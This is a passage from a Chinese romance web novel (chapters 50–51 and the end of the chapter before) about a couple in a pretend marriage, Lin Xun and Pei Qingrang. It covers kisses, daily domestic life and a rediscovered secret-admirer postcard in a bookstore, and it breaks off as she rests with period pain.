他的嘴唇很薄、但是唇线很清晰,大多数时候嘴角平直冰冰冷冷,现在?因?为接过吻,因?为被她含吮所以显出蛊惑人心?的红润、柔软。 脸颊起了热意,她看着他的眼睛,一字一顿:“林姰还想被裴清让亲一下。” 裴清让便笑着靠近,嘴唇将触未触的距离,低低说了句:“遵命。” 清晨的阳光透过高高的窗户照进?来,他们安静地接吻,食髓知?味地交换彼此的气息,就好像是真的新?婚燕尔如胶似漆,空气里绵密的接吻声如此清晰又是如此令人耳热。 从厨房,到客厅,再到他坐在?沙发上,她坐在?他的腿上,林姰忍不住分了一缕闲心?,男人长腿坚硬,存在?感让人脸红心?跳,可是转瞬又被嘴唇啃噬厮磨的感觉剥夺所有注意力,让她快要溺毙在?他温柔的亲吻里。 狗狗好奇打?量,被裴清让抬手捂住眼睛:“少儿不宜。” 清越的嗓音含笑,烫红林姰的耳朵和心?尖,心?头似有小鱼摆尾不断跃出水面,她捧着他的脸,小声问了句:“裴清让,你会那?种吗?” 脸颊还在?升温,她有些不好意思,可那?清透的瞳孔深处似乎闪着跃跃欲试的光。 裴清让的读心?术稳定发挥,视线一对上,他就知?道林姰脑子里在?想什么,那?天生锋利的眼睛,冷淡带着点儿无奈,若有所思问道:“进?度是不是有点快了。” 林姰蹙眉,心?说纯爱战士还是那?个纯爱战士:“快的话我现在?应该把你摁床上。” 她在?言语上永远是巨人,还颇为挑衅地问裴清让:“你是不是不会?” 裴清让喉结有一下没一下滚动着,弧度肆意而淡漠,他似乎是被她气笑,修长白皙的手指自然而然插入她的黑发、扣着她的后脑勺往下压,仰头含住她的唇:“我会不会,试试就知?道了。” 裴清让的舌尖触碰到她的唇缝的那?一刻,林姰的脑袋里“轰”的一下,似乎有根弦一下子崩掉,她的头皮发麻睫毛轻颤,手指不自觉攥紧了裴清让身?上的短袖。 胆大包天是她,心?跳慌乱是她,不知?所措是她。 裴清让的声音低到蛊惑:“张嘴。” 总是像只小刺猬的林姰,微微启唇,温顺照做。 两人都没有这方面的经验,生涩而克制地拿彼此尝试唇舌纠缠的感觉,可偏偏就是这种生涩让林姰上瘾。 “我会不会?” 裴清让嗓音不像往常清冷,微微有点哑,显得格外性感。 林姰脸颊埋在?裴清让的肩窝,与他下颚的皮肤相贴,呼吸之间,都是他肌肤上干净好闻的气息:“一般般吧,没亲过别人,不好比较。” 裴清让捏她脸:“你还想怎么比较?” 林姰的脸颊被他捏变形,声音也含混:“你给我备注小狗的账还没算呢。” 裴清让压低声音:“小狗接吻才会咬人,嘴唇都被你弄疼了。” 被浅浅的呼吸刺激着,林姰耳朵在?清晨光线里红得近乎透明,心?口?却?烫得不像话,像是被什么暖融融包裹着,即使没有铠甲,也不会再受伤。 等她呼吸心?跳都平复,裴清让揉了揉她的脑袋:“我去盛饭。” 这才想起自己还坐在人家腿上…… 林姰下来,随手捞起抱枕,脸埋进?去,红得透彻。 裴清让盛饭的时候,看到保温键旁边的数字。 他站在?那?里,睫毛被清晨阳光染得柔软,耳朵尖无可救药泛红。 想过来帮忙的林姰凑到他身?边,嘴唇因?为被啃噬厮磨,显出充血的红,而她自己浑然不觉。 他撇开眼,不敢再看,喉结上下滑动着,线条清晰凌厉。 偏偏林姰见他站在?那?里,眼睛盯着某处,好奇打量:“看什么呢?” 裴清让轻摇头:“没什么。” 保温的时间计数,他们这次接吻的时间真的有点久- 再简单的蔬菜,裴清让都可以做得很好吃。 林姰把自己那?份吃得干干净净,忍不住感叹:“你做饭也太?好吃了。” 想到裴樱从小可以吃他做的饭菜,林姰跟他商量:“你能不能再养一个妹妹?” “你要跟你哥接吻吗?”裴清让手指捏上她的脸,眼神冰冰冷冷:“不合适吧。” 不知?道为什么把“哥”这个字跟裴清让联系在?一起的时候,会觉得特别苏,林姰在?可以接吻的老公和无微不至的哥哥之间,痛苦作?出抉择:“那?还是当老公吧,哥哥可以不要,嘴必须得亲。” 裴清让没有说话,好像已经习惯她口?出狂言语出惊人,眼睛里有种“我能拿你怎么办”的无可奈何。 饭后,林姰拒绝当衣来伸手饭来张口?的废物,主动收拾碗筷放到洗碗机,裴清让则是很自然地拿起早饭用过的厨具清洗。 林姰念念有词:“我来,做饭不洗碗,洗碗不做饭。” 裴清让垂眸:“林姰。” 他的声音很好听,偏冷也磁性,喊她的时候总是连名带姓。 林姰想把他挤到一边:“怎么了吗?” 裴清让很认真的看着她的眼睛:“我们不用分得这样?清。” “我不是要跟你分得很清,”林姰下意识解释,“不想有交集的人,我才会想分清楚。” 她只是想要对他好一点,起码让他不要太?吃亏。 半天没有回音,林姰抬头,对上一双微微弯着的眼睛,男人漆黑深邃的眼底,尽是始料未及的笑意,干净明亮,让人心?跳怦然。 他为什么笑,又是为什么笑得这样 ?好看? 她想不出哥所以然:“笑什么?” 裴清让低头:“所以我不是‘不想有交集的人’?” 林姰愣了下,才意识到自己没经大脑说了什么。 她一直想的是,想接吻接吻、想拥抱拥抱,不想以后。 她是从什么时候变了的,又是因?为什么变了的,自己都无从得知?,只是心?脏因?为这个发现砰砰跳动,跳得她心?头倏然发紧。 她慢半拍不止地“嗯”了声,不知?道是告诉迷茫的自己,还是告诉裴清让:“不是。” 而后发现,直白表达自己的情绪比说出“我想摸你腹肌”、“我想和你接吻”更让人难为情,手指轻轻蹭了下发热的脸颊,她语气生硬地转移话题:“需要我做点什么?” “不需要三个字”太?过冷冰冰,所以裴清让软下语气征求她的意见:“就一定要做点什么吗?” 林姰点头,眼眸认真,厚着脸皮说:“勤劳惯了,我这手闲着就不舒服。” 下一刻她的手被裴清让攥在?掌心?,被他牵引着,放到了他的腰上。 林姰懵懵的,听见他淡淡道:“不是闲着不舒服吗,抱着吧。” 她无数次在?看到他背影的时候想要这样?做,现在?终于抱到那?很好抱的、劲瘦而薄的腰,林姰脑袋抵着裴清让的后背,齿尖咬着下嘴唇,无声笑弯眼睛。 他们现在?……是不是真的很像新?婚夫妻? 她没有任何异议,于是从裴清让身?侧探出个脑袋,弯着眉眼学他的语气:“遵命。”- 闲来无事?,上午他们一起逛超市采购物资,而后回家拆开零食一起打?双人游戏,中午一起做了午饭。 午饭后,裴清让接了个李明启的电话,就打?开电脑,加入线上会议,想必是有国?外合作?商,所以他说的英文。 大致是光刻机交货时间出了问题,需要和国?外供应商重新?商定交货时间,这种时候的裴清让不怒而威,冷声质问人的模样?林姰从来没有见过,倒不是咄咄逼人,而是一针见血不留情面,那?种上位者的气势毫不收敛,让人心?惊。 会议持续很久,裴清让英俊面孔没有半分笑意,眉宇间薄薄一层戾气,让人不敢造次。很难相信,这个冷淡肃杀的男人接吻的时候竟然会温柔得引人溺毙。 林姰陪狗狗在?阳台玩,裴清让合上电脑走过来的时候,好像又从刚才冷脸让人大气不敢出的“霸总”,变成她熟悉的、干净清澈透着少年气的大男孩。 林姰感叹:“你好凶。” 裴清让被她说得微怔,睫毛安静低垂,投下一圈柔和的阴影,低声说:“我平时不凶。” 全然不见刚才的半分气势,看起来甚至有些纯良无辜,简直让人心?软。 见他把她的玩笑话当真,还格外认真地解释,林姰笑:“我知?道你不凶。” 她轻声问:“是出什么事?了吗?” 裴清让摇头,他在?她身?侧坐下,白衣黑裤,运动裤下露出一截骨感白皙的脚踝,腿是真的长。 林姰点了点他的眉心?:“可是这里皱起来了。” 她想抚平,所以印了一个柔软的亲吻上去,眼眸弯而明亮,非常认真地说:“不管出什么事?,你都要记住,你老婆可有一百多万呢。” 裴清让轻点头,睫毛和瞳孔浸润在?午后的光线里,显出格外柔和的色泽:“记住了。” 她玩他修长而骨节分明的手,而后慢慢把自己的手指错进?他的指缝,几乎是下一秒就被他十?指紧扣,似乎每次的肌肤接触都会引起心?脏的震颤,掌心?相贴的触感,让人心?动也让人觉得有所倚仗。 林姰垂眸看向?脚边的狗狗:“还是当狗狗好,没有烦恼。” “下辈子我也要当一只懒洋洋晒太?阳的狗狗,不要上班不要打?工不要当牛马。” 话一出口?,蓦地想起之前在?网上刷到问妈妈“如果我变成蟑螂”怎么办。 她心?血来潮问过崔女士,崔女士的回答并不像其他的妈妈回答那?样?温馨,她说看到蟑螂两个字都恶心?。 她以为裴清让不会接她异想天开的话,却?不想男人清越的嗓音落在?耳边,语调格外认真:“我会准备漂亮的房子,好吃的狗粮,每天陪你玩。” 林姰侧头,四目相对,裴清让当真开始认真思考,看着她的眼睛跟她确认:“狗狗可以吃榴莲吗?” 林姰靠在?他的肩头,笑得不行。 “我说真的,”裴清让伸手,在?她脸上轻轻捏了一下,“来找我,我养你。” 我一辈子只养你一只小狗。 林姰又想起他离开的时候,以小狗的名义说想她,心?脏软软化?成水。 也是这个瞬间,某些片段在?脑海浮现,曾经也有个人,会告诉她小狗想你。 是捡到她的小狗的男生。 那?段一个人在?国?外、孤立无援的日子里,多亏有他,在?她无数次觉得人生灰败、没有意义的时刻,给她发来狗狗的照片。 她这边阴雨连绵,他那?边却?永远阳光明亮青草鲜绿,他那?么好的人,就应该永远生活在?太?阳下。 他会告诉她—— “小狗想你了。” “小狗等你回来。” “小狗祝你新?年快乐。” “小狗祝你毕业快乐。” 就好像一剂无声注入心?脏的安定,让她知?道,就算你在?异国?他乡,还有一只狗狗全心?全意爱你。 “在?想什么?” 林姰第一次跟裴清让说起那?个男生的事?:“高中的时候爸爸妈妈把我的小狗送走,但很幸运的是,它被一个很好很好的人捡到了。” 裴清让呼吸不着痕迹凝滞:“多好?” 林姰觉得那?个男生其实是跟裴清让有些像的,是温柔的具象,她说:“我给他的备注一直都是‘心?软的神’,那?是我很喜欢的一个角色。” 裴清让垂下眼睫,情绪并不外露,只是睫毛轻轻震颤。 他听见林姰继续说:“后来他会经常给我发狗狗的照片,告诉我狗狗想我了。” 他问:“会觉得烦吗?” 林姰莫名觉得他说这句话的时候,惯常冰冷的声线里,似乎有种难以言说的……卑微。 他明明应该是被宠坏的天之骄子,“卑微”这两个字怎么会跟裴清让有关联,她在?乱想些什么呢。 林姰不明所以:“为什么我要觉得烦?” 裴清让语气没有情绪,平铺直叙:“因?为他一直给你发信息。” 林姰毫不犹豫地否定:“虽然我从来不主动跟人联系,但是出国?那?段时间,我挺想有人跟我说话的。” “大一的时候我没有朋友,祝余复读我也不能打?扰,因?为突然出国?也和爸爸妈妈闹得很僵,家里马上就要多一个新?的小孩……” 林姰:“多亏有他,跟我说小狗等你回来。” 无形中有根线系在?她的手腕,虽然看不见线的另一端,可那?种被牵挂的感觉有如实质。 “你有没有想过,或许他说的是他自己。” 那?轻而缓的字音落在?耳边,却?好像一下戳中她心?跳的暂停键。 视线碰撞在?一起,裴清让漆黑眼底似有泉水汩汩流动,漂亮得波光流转。 林姰忍不住想—— 那?他对她……是不是也有过一点点的喜欢? 她无从得知?,只是想起大一的冬天,早上起床看到他的未读消息,是故宫雪景,后面跟着一句:北京下雪了。 后来听过有人说,下雪要告诉喜欢的人。 时间过去太?久,那?些细碎的情节早就模糊不清,了无痕迹,林姰无声弯起嘴角,为自己不着边际的幻想好笑。 只是眼下,裴清让的读心?术稳定发挥,还是可以一瞬看清她在?想什么。 他注视着她,直截了当地告诉她:“不用怀疑,他喜欢你,千真万确。”第50章 第 50 章 她喜欢他 林姰承认, 她曾经对那个男生有过无可救药的好?感和?心动。 情?窦初开?的年纪,朦朦胧胧的情?感,发生在她孤立无援、迫切想要抓住点什么的时刻。 只是, 光怎么能任人抓住,微不足道的喜欢早就被岁月冲刷打磨, 却在每个想起的时刻依然清晰。 以?至于在裴清让告诉她“他喜欢你”的现在, 她的心绪起伏, 难以?平静:“为什么你觉得他喜欢我?” 明明那个男生已经结婚、而且是跟初恋, 甚至在她大一跨年想要表白时, 让她得知他有喜欢的女?孩子。 可还是忍不住想, 如果某段时间?空间?里他们的喜欢真的交错, 如果她告诉他喜欢他,现在会是怎样? 没有如果。 裴清让漫不经心垂眼?:“没人会不喜欢你。” 冷而凝定的字音落在耳边,林姰呼吸一凝。 她张了张嘴想说什么, 却又在下一刻把嘴唇抿成直线。 就只是这么一个细微动作,却被裴清让捕捉到, 他问:“想说什么?” “如果没人会不喜欢我……”林姰话没说完, 目光微微闪烁, 是平时少?见的犹豫不决。 在听到裴清让说“没有人会不喜欢你”时, 脑海蓦地冒出一个念头:那裴清让呢?裴清让喜欢我吗? 这个念头让她心惊。 换做以?前, 她肯定会坦坦荡荡地问、并且不依不饶要一个答案。 倘若裴清让说不喜欢,她还会理直气壮地回一句:那他可真是没眼?光。 因为不在乎,所以?无所顾忌。 毕竟接吻不需要喜欢, 她只要做自己想做的、得到自己想要的就可以?,他喜欢着谁又喜欢过谁又有什么要紧。 现在,简简单单一个问句,鱼刺一样鲠在心头, 竟然让她开?不了口。 她的欲言又止被裴清让看在眼?里,那道惯常冰冷的声线放得很?轻:“怎么了?” 除了接吻的时候,裴清让很?少?在她面前显出强势和?攻击性,虽然话少?、那张俊脸天生就冷,但眼?神?总是软的,就比如安静注视着她的现在。 林姰嘴角弯了弯,最后只是说了句:“没什么。” 她不是一直很?胆大包天吗? 为什么现在连一句玩笑都不敢开?? 她恨不得把自己的心脏层层剖开?,找到这份凭空冒出的胆怯的根源。 答案如同一只在胸腔振翅的蝴蝶,呼之欲出,偏偏她不敢细想、不敢深究- 晚饭后是固定的遛狗时间?,晏城四季分明,入冬之后气温都在零度徘徊。 裴清让一身?黑,更衬得眉眼?漆黑而皮肤冷白,他个子高、骨架宽薄、比例也很?惊人,穿什么都吸引眼?球。 他收拾完自己,又取下林姰的白色羽绒服递给?她:“穿上。” 林姰照做,穿戴整齐就要牵着狗狗往外?走?,直接被人勾着衣领拎回来。 她还没回神?,灰色羊绒围巾已经一圈一圈下来,裴清让垂着长长的睫毛给?她系围巾,挡住她的鼻尖和?嘴唇。 线上会议冷脸的英俊帅哥,说的不是母语,偏偏气势太?盛气场太?冷,发出的每个字音都令人胆寒,屏幕里面一群老外?大气都不敢出,屏幕外?面林姰却要怀疑这还是不是她认识的裴清让。 她认识的他是眼?前这样子的,即使面孔清冷下颌锋利,但是睫毛和?嘴角都柔软,笑起来的时候瞳孔明亮、唇红齿白,天生有让人心动的本事。 林姰把围巾往下勾了勾,目光从他给?围巾打结的手指到他低垂的眉眼?,忍不住笑:“裴清让,你真的很?有当老父亲的潜质。” 裴清让轻扬眉,不咸不淡应了句:“老父亲就免了,老公还能勉强当一当。” 暖融融的围巾蹭在脸颊,热意四散。 假结婚之后,没少?提过“老公”、“老婆”这种字眼?,她没心没肺地喊过他“老公”,也厚着脸皮要裴清让练习喊自己“老婆”。 为什么现在听到他说这两个字,心动的开?关猝不及防被一下戳中,心脏跳得她发慌。 林姰觉得自己非常、非常不对劲。 裴清让把手套也递给?她,示意她戴上,低声嘱咐:“外?面冷。” 她的目光,自然而然被那双看起来很?好?牵的手吸引,毫不犹豫地拒绝:“手套就不要了。” 有老公还要手套做什么。 两人一起出门,裴清让牵着狗狗。 林姰两手空空,喊他名字:“裴清让。” 裴清让垂眸,瞳孔偎着一抹月色,清冷也温柔。 林姰把手伸到他面前,颇为无辜道:“冷。” 她羽绒服的袖子很长,手完全可以?缩在里面,羽绒服的口袋也很?大,超级暖和?。 裴清让目光流转在她眉眼?间?,想明白她想做什么的时候,眼?底清浅笑意化?开?,在路灯下波光流转:“想牵手直说。” 于是她的右手被男人骨节分明的手包裹着,一起放到他暖融融的外?套口袋。 裴清让嘴角勾着,忍俊不禁的弧度:“左手就有劳你自己照顾一下了。” 林姰弯着眼?睛,扬起脸笑:“好?说好?说。” 这一年的冬天格外温柔。 刚下过雪,雪花从枝头簌簌掉落的时候很?像樱花,林姰看着两人被路灯拉长的影子,胸腔似乎被难以?形容的情?绪填满。 裴清让不知道在看什么,目光落在某处,格外?专注。 林姰顺着他的方向看过去—— 原来是正在散步的、白发苍苍的爷爷奶奶,他们走?路走?得很?慢,互相搀扶着、手牵着手。 奶奶手里拿着一串刚买的冰糖葫芦,吃的时候不小心弄到嘴角,爷爷很?温柔地给?她擦掉,奶奶笑得眉眼?弯弯。 是白头偕老的具象化?。 林姰感叹:“原来真的有人能这样过一辈子……” 即使白发苍苍,即使脸上爬满皱纹,眼?睛里仍盛满对彼此的爱意。 她定定看着,目光柔软而不自知,想象自己年老的模样:“等我变成腿脚不方便的小老太?太?,你也要这样,不能嫌弃我。” 话音落下,没有回音,才猛地意识到自己说了什么。 也在一瞬间?明白,为什么在裴清让说“没人会不喜欢你”的时候,她没有办法坦然问他:那裴清让呢?裴清让喜欢我吗? 因为在她自己意识到之前,她已经在想要和?他有以?后,在想象自己变成白发苍苍的小老太?太?的时候,下意识就觉得,自己身?边会有一个高高帅帅的小老头。 可是,裴清让会这样想吗? 说出去的话没有回应,孤孤单单落在空气中,只有心跳声兀自清晰。 就在林姰想着怎么不着痕迹把这个话题带过去的时候,一句轻而柔软的“好?啊”落在耳边。 她仰起脸,目光碰撞在一起。 月光似乎也格外?偏爱他,温温柔柔落他一身?清辉,裴清让眼?尾弯着好?看的弧度,漫天繁星都在他眼?底,熠熠生光。 他很?认真地看着她,没有惯常的散漫和?漫不经心,字音咬得格外?认真:“我们一言为定。” 清越的嗓音划过耳畔,像最真挚的承诺,也悦耳得如同恋人之间?的情?话。 林姰心脏在短暂的凝滞之后开?始疯狂跳动,跟他在一起时,胸腔满溢着的、不知名的情?绪有了名字。 原来那忐忑的、胆怯的、羞涩的、甜蜜的、甚至是让人心悸的情?绪糅合在一起,叫做喜欢。 心脏因为这个发现悸动,林姰久久不能回神?。 直到耳边传来晚自习的上课铃声,原来他们已经在不知不觉中走?到附中、曾经读了三年高中的地方。 很?多人都会在毕业后怀念高中,因为最兵荒马乱的年纪却有最深刻、最让人怀念的人和?事。 但林姰想起高中,只有无人来接的台风天,她一个人默默站在楼下等雨停。 时间?如此神?奇,那个将黑色雨伞举过她头顶的男生,已经是她的新婚丈夫。 如果早知道他们会结婚,如果早知道她会喜欢上裴清让,她就应该早下手。 十六七岁的少?年是有多清澈青涩,他现在耳朵都很?容易红,高中的时候是不是更可爱? 林姰心头泛起丝丝缕缕的遗憾,层层缠绕,只不过她遗憾也没用,人家有白月光。 她歪了歪脑袋,问他:“听说有暗恋对象就会每天期待上学,真有这么夸张吗?” 裴清让居高临下睨她一眼?,嘴角平直 ,又是一副不太?想说话的样子。 林姰得不到答案不罢休,故作不经意道:“看来你的暗恋对象没有那么大的魅力?。” “就只是在书店遇到,也觉得自己中奖了。” 得不到答案的时候心痒,得到答案的时候,缠绕在心头的丝线无形中收紧,变成难以?言说的酸涩。 不如不问。 林姰嘴角下撇,很?无所谓地说:“早知道我也找个什么人暗恋一下。” 裴清让:“还是不要了。” 林姰不服气:“为什么?就只许你喜欢人不许我喜欢呀?” “喜欢人会难过,”裴清让手覆在她发顶揉了揉,动作温柔,声线散漫:“你还是当被喜欢的那个吧。” 是啊,喜欢人会难过,意识到自己喜欢裴清让的林姰,在这一刻有了微小的体会。 裴清让暗恋一个人的时候也会偷偷看她吗? 也会面无表情?一脸冷酷其实心里撒花花吗? 林姰想事情?想得认真,直到“晏城书店”四个字映入眼?帘。 她站在门口,回忆兜头而来—— 高考结束那天,暴雨倾盆,她和?男生约好?在这里见面。 没想到再次来,是十年后,和?她的新婚丈夫一起。 她记得上学的时候,书店曾有一道“明信片墙”,贴满写下却没有办法寄出的明信片。 十年后的现在,这道墙已经成为晏城的网红打卡点,因为开?不了口的情?愫总是最真挚。 林姰看到“宠物友好?”提示,意思是狗狗可以?进去:“去书店逛一下?” “好?。” 进门的一刹那,如同穿过长长的时空隧道,回到高中。 故地重游,林姰竟然有些怀念:“以?前周五的时候我会来看漫画,在那边靠窗的位置。” 只不过那个时候他们之间?并不熟悉,也没有交集,所以?裴清让只是淡淡回了句:“是吗。” 店员姐姐还记得她,虽然叫不出她的名字,但还是笑着说了句“好?久不见”。 林姰笑着回应:“好?久不见!” 看到她身?侧的裴清让,店员怔了一怔,笑道:“你俩果然是一对啊。” 林姰脑袋发懵:“嗯?” 姐姐笑了笑没有说话。 林姰有些摸不着头脑。 为什么是果然?他们现在没有任何亲密动作,过去没有任何交集,怎么就是一对了? 两人走?过去之后,店员的目光追随。 长相出众的孩子,更容易让人过目不忘,那个时候她刚毕业参加工作。 周五放学时间?,女?孩问她:“姐姐,最新一期漫画来了吗?” 她给?她指了指书架的方向,这时又进来一个瘦瘦高高的男生,来看最新的军事杂志。 后来她发现,每个周五,两人都是一前一后。 一开?始是看书,可是过一会儿,就变成她看书,他看她。 女?生笑的时候,男生也会无声弯起眉眼?。 少?年人嘴角弯起的弧度很?青涩很?纯粹,眼?底都是温柔明亮的笑意。 或许他自己都不知道。 后来他们毕业,女?孩没有再来过。 他每次来,总会在她看漫画的地方待一会儿。 她最后一次见到他的时候,他向她借了一支笔。 这张明信片,今天会被发现吗? 林姰在那面明信片墙前驻足,密密麻麻层层叠叠没有寄出的明信片,在无人处安静诉说想念。 她一张张看过去,目光新奇,自己跟这些人上的好?像不是一个高中,那个时候她只知道埋头学习,现在想来都没有青春期。 就在准备离开?时,看到什么,林姰目光霎时一凝—— “大胆去做你想做的事,你做什么都不会错的。 我们可能不会再遇见了,但这世界上仍有一个我,在为你的存在本身?高兴。 林姰同学,毕业快乐。” 落款时间?,高考结束那年。 纸页泛黄,字迹斑驳,被遮挡在层层叠叠的明信片之下。 不言不语,甚至不期待于被发现,就只是在无人处祝福着她。 林姰没有任何防备,和?十年前干干净净的喜欢撞了个满怀。 原来在那段自己最不愿意回想的时间?里,也曾有这样一份让人心脏柔软的喜欢。 她小心翼翼取下那张明信片,指尖触碰到他曾经触碰的位置。 对上裴清让垂落的目光,她给?他看:“不知道是谁写给?我的。” 这人一定临摹过宋徽宗的行书,因她高中临摹过,所以?一眼?认得出。 裴清让垂眸。 林姰在他面前叩开?笔盖,在那行字下认认真真地写:【谢谢你,你过得好?吗?】 写完之后,她又小心翼翼挂回去,生怕弄坏的样子,仿佛对待珍宝。 林姰久久凝视着明信片上面的字迹,就好?像隔着长长的时空隧道,和?十年前的少?年对视着。 “为什么要问他过得好?不好??” 裴清让的声音很?轻,落在耳边,如同羽毛拂过心尖。 林姰也不知道,只是心头有种难以?言说的酸涩:“如果高考那年看到就好?了。” 裴清让喉结滚动:“如果高考那年看到,会怎样?” 林姰当然不会因为一张明信片喜欢上一个人:“起码跟他说一句谢谢你,你也毕业快乐。” 她觉得遗憾:“他怎么不当面跟我说呢?我是什么很?可怕的人吗?” 裴清让沉默注视着那张十年前的明信片。 记忆中的雨天去而复返,飞机飞上万米高空,不知何时归途。 自行车穿过大街小巷,却没有一个巷子口让他再次偶遇到她。 想念一个人到极致,也只能在她经常坐的地方,写下这张明信片。 在她看不到的地方,祝她一生顺遂。 不必和?自己有关。 而现在,她就在自己面前,眉眼?鲜活,笑意生动,和?自己十指紧扣。 她跟他小小声说:“暗恋可真苦啊。” 他淡声:“是他自己愿意的。” 林姰不知道这个人是谁、在哪、在做什么工作,搜遍脑海里的影像,也找不到这么一个性格内敛、字迹漂亮的男生。 又或者,他平时用的不是这个字体,毕竟没人会把作业当书法作品来写。 直到离开?书店,她仍心心念念:“你说写在这,还会被他看到吗?” 裴清让语气清淡:“不重要。” 林姰疑惑:“是这样吗?那他为什么要写这张明信片?难道不是为了有一点点的回音吗?” 裴清让久久看着他,那双比风清比月光温柔的眼?睛,似有她看不懂的情?绪一闪而过,了无痕迹。 “或许他知道你不喜欢他,所以?只是希望你过得好?。” “仅此而已。”第51章 第 51 章 我选老公 “大胆去做你想做的事”, 大概是?林姰站在孤立无援的十七岁,最想听到的话。 高考后才得知外婆去世,她陷入无法摆脱的愧疚, 也痛恨父母的隐瞒,报复一般毅然决然决定出国?:你们?不是?想要我读个好?大学、毕业考公听你们?安排吗?我偏不。 任由爸妈怒不可?遏, 她说走就走, 外婆怕是?早就知道她想离家越远越好?, 一辈子省吃俭用攒下的钱都留给她, 成?为她最后的底气。 她不知道自己冷漠带刺的人生里, 也曾有过一份不为人知、干干净净、让人心?脏柔软的喜欢。 如果能早一点看到就好?了, 起码可?以知道, 这个世界上除了外婆,仍有人无条件相信她、站在她这一边。 羽绒服上的帽子被人从身后扣到脑袋上,一片猝不及防的暖意中, 裴清让声线清冷:“走吧,回家。” 不知道从什么时候开始, “家”这个字不再意味着?冷战、无休止的争吵、重男轻女、被控制, 而是?阳光满溢的房子、每天不一样?的鲜花、世界上最可?爱的狗狗, 还有长?到这么大她第一次真正意义上喜欢的人。 简简单单的音节, 也能让人心?脏发软发烫, 仿佛有所倚仗。 林姰把自己的手塞进裴清让手心?,眉眼?弯弯说“好?”。 眼?下,不管谁喜欢她又或者喜欢过她, 都已?经不重要了。 因为她已?经有喜欢的人,就在她的肩侧,和她十指紧扣。 书店的店员默默看着?两人离开的背影。 女孩子牵着?狗狗走在前面,只要她回头, 就会发现男人的目光一直落在她身上。 一如十几年前他们?都穿校服的学生时代。 她忍不住拍下照片。 原来真的会有人,十几年如一日地,喜欢一个人- 睡前最后一刻,林姰忍不住再次点开手机照片——屏幕里,明?信片泛黄泛旧,字迹却有锋利清秀的棱角。 指尖点击图片放大,她目光一顿,男生写“林姰”两个字时,落笔习惯和她的很像,甚至单单把这两个字挑出来,说是?她写的,她都会相信。 就好?像在不经意间,学着?她的落笔习惯,写过很多?遍她的名字。 那些喜欢她的男生都很讨厌,沉溺与自我感?动和付出,丝毫不考虑给她带来多?大的困扰,哪有这样?的纯爱战士…… 手机放到一旁。 林姰对自己不喜欢的人向来冷漠,连他们?的名字都不记得,怎么可?能认出字迹。 外面又在下雪,北风裹挟着?雪花簌簌落下,窗外月光格外明?亮,她想到她喜欢裴清让这件事。 原来喜欢一个人的感?觉这样?神奇,只是?脑海浮现他的眉眼?,心?头的小鹿就有渐渐苏醒的趋势。 她要怎么做,才能把这个人据为己有呢? 她没有追人的经验,并?不太会。 等她终于肯闭上眼?睛,睡意全无。 不知道过了多?久,意识混沌沉沉下坠。 耳边传来旅客登机播报,人群熙熙攘攘,她一个人站在迎来送往的机场。 目光所及亲友送别,同她一般大的女孩抱着?妈妈哭得眼?睛通红。 她频频回头,频频张望,一而再再而三地确定,身后真的空无一人。 如果外婆还在…… 外婆一定会来送她的。 可?是?,可?是?外婆已?经不在了啊。 她小声在心?里说外婆再见,毅然决然转身。 有人喊她名字,像她在最孤立无援时产生的幻觉,轻易淹没在人潮汹涌之中。 不会有人来送她的。 眼?泪夺眶而出,她再也没有回头。 飞机飞上万米高空,她在一瞬间长?成?大人。 …… 林姰醒来时,天光大亮。 阳光透过窗帘的缝隙告诉她,今天是?个好?天气。 今天要做什么呢? 结婚之后的大部分时间里,周末他们?各自加班,即使她在家的时候裴清让都在,也是?各忙各的,裴清让有处理不完的工作,她则是?打游戏、看电影、睡觉消磨时间。 心?底的雀跃,如同开了一罐气泡水,易拉罐拉开的瞬间,绵密的泡沫四下散开。 林姰忍不住想,有没有什么事情是?可?以两个人一起做的。 接吻算一件。 然后呢……看电影?一起做饭? 她没有恋爱经验,在这方面想象力相当匮乏,却又觉得,其实不需要做什么,他在就很好?。 那种胸腔被填满的感?觉很新奇,有些忐忑、有些胆怯还有一点害羞,心?底似有蝴蝶在扇动翅膀,心?跳扑通扑通难以平息,让她忍不住想要弯起嘴角。 只是?在她准备起床的那一刻,腹部传来隐隐坠痛的感?觉。 林姰认命地叹了口?气,瞬间蔫掉:好?烦,又来,当女生好?难。 她掀开被子走进卫生间,果不其然是?生理期到来,痛感?以可?感?知的速度变得剧烈,让她忍不住想要蜷缩身体,脸也皱成?苦瓜。 止痛药可?能是?吃完了、也可?能是?被自己随手放到了什么地方,她没找到,吃早饭的时候也精神萎靡,吃了几口?就放下筷子,手有一下没一下地按压腹部。 裴清让目光扫过,温声问她:“不合胃口??给你做别的?” 林姰摇头,换做是?她,自己认真准备的早饭对方只吃几口?,她大概只会不高兴,才不会管对方喜不喜欢,更不可?能大费周章地再去重新准备。 他怎么可以这么好。 “很好?吃,可?是?我吃不下了,”林姰抿唇,充满歉意道:“等吃午饭的时候热一热,不要浪费。” 裴清让察觉不对劲,眼?神询问:“怎么了?” 林姰没有月经羞耻,却是?第一次直白地告诉一个异性:“生理期。” 之前她都是?若无其事装没事人的,所以裴清让应该是?第一次看到她痛经的模样?——长?发随手绑起,脸颊苍白没有血色,身上是?大大咧咧的卫衣卫裤,虚弱且毫无形象可?言。 想到什么,林姰小声给裴清让打预防针:“根据经验,我生理期前会暴躁易怒,生理期期间极端情绪化,还可?能因为一点点小事难过……” 她眸光真挚,是?真的为他着?想:“为了避免伤及无辜,这几天你可?以少跟我说话、或者不跟我说话,因为我可?能会很不讲道理。” 腹部的疼痛开始无法忽视,林姰起身:“我回房间躺一会儿。” 好?好?一个周末,就这样?被生理期毁了,不然她很想在裴清让身边,就算不接吻,随便做点什么也好?。 只不过生理期的时候,她的脾气会变得非常不稳定,身体极度不舒服的情况下,一点点小事就能成?为压垮骆驼的最后一根稻草,就比如她找止痛药没有找到,正常情况下叫外送就好?,生理期她却会觉得委屈难过,矫情得不可?理喻。 所以她主动把自己和裴清让隔绝开,躺在床上的身体蜷缩起来,慢慢等那阵折磨人的疼痛自己消失。 疼到冷汗虚汗一起冒,林姰莫名想到,痛经和分娩比起来小巫见大巫,生理期不伤筋动骨都这样?疼了,那生她的时候,崔女士侧切、撕裂、甚至是?骨裂,又有多?痛苦多?无助。如果有人让她吃那么多?苦,她可?能也不会喜欢她。 思绪漫无目的发散,直到很轻的敲门声响起。 林姰说“请进”,得到准许之后,卧室的门才被推开。 因为周末在家,室内足够暖和,裴清让一身没有棱角T恤运动裤,高大清瘦,肩膀宽阔,看起来特别有安全感?。 “我可?以为你做点什么吗?”他放轻了语气,声音软下来,是?真的在哄人了:“或者,做些什么能让你舒服一点?” 这个人怎么可?以温柔成?这样?…… 她都告诉他自己生理期的时候脾气会很差了,他还…… 